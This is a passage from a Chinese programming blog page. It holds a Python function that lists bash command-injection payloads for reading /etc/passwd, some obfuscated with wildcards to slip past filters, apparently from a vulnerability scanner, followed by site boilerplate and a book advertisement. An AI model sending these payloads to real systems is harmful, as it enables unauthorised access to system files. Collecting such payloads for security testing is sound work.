def bash(): """Basic Bash Command Injection """ payload = ["/bin/cat /etc/passwd"] payload += ["/etc/passwd"] payload += ["/et*/passw?"] payload += ["/ca?/bi? /et?/passw?"] payload += ["/et*/pa??wd"] payload += ["cat /etc/passwd"] payload += ["/bi*/echo \"%s\""%(r_string(10))] return payload
先休息一下。。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【源码阅读】AndPermission源码阅读
- 【源码阅读】Gson源码阅读
- 如何阅读Java源码 ,阅读java的真实体会
- 我的源码阅读之路:redux源码剖析
- JDK源码阅读(六):HashMap源码分析
- 如何阅读源码?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
数据结构 Python语言描述
[美] Kenneth A. Lambert 兰伯特 / 李军 / 人民邮电出版社 / 2017-12-1 / CNY 69.00
在计算机科学中,数据结构是一门进阶性课程,概念抽象,难度较大。Python语言的语法简单,交互性强。用Python来讲解数据结构等主题,比C语言等实现起来更为容易,更为清晰。 《数据结构 Python语言描述》第1章简单介绍了Python语言的基础知识和特性。第2章到第4章对抽象数据类型、数据结构、复杂度分析、数组和线性链表结构进行了详细介绍,第5章和第6章重点介绍了面向对象设计的相关知识、......一起来看看 《数据结构 Python语言描述》 这本书的介绍吧!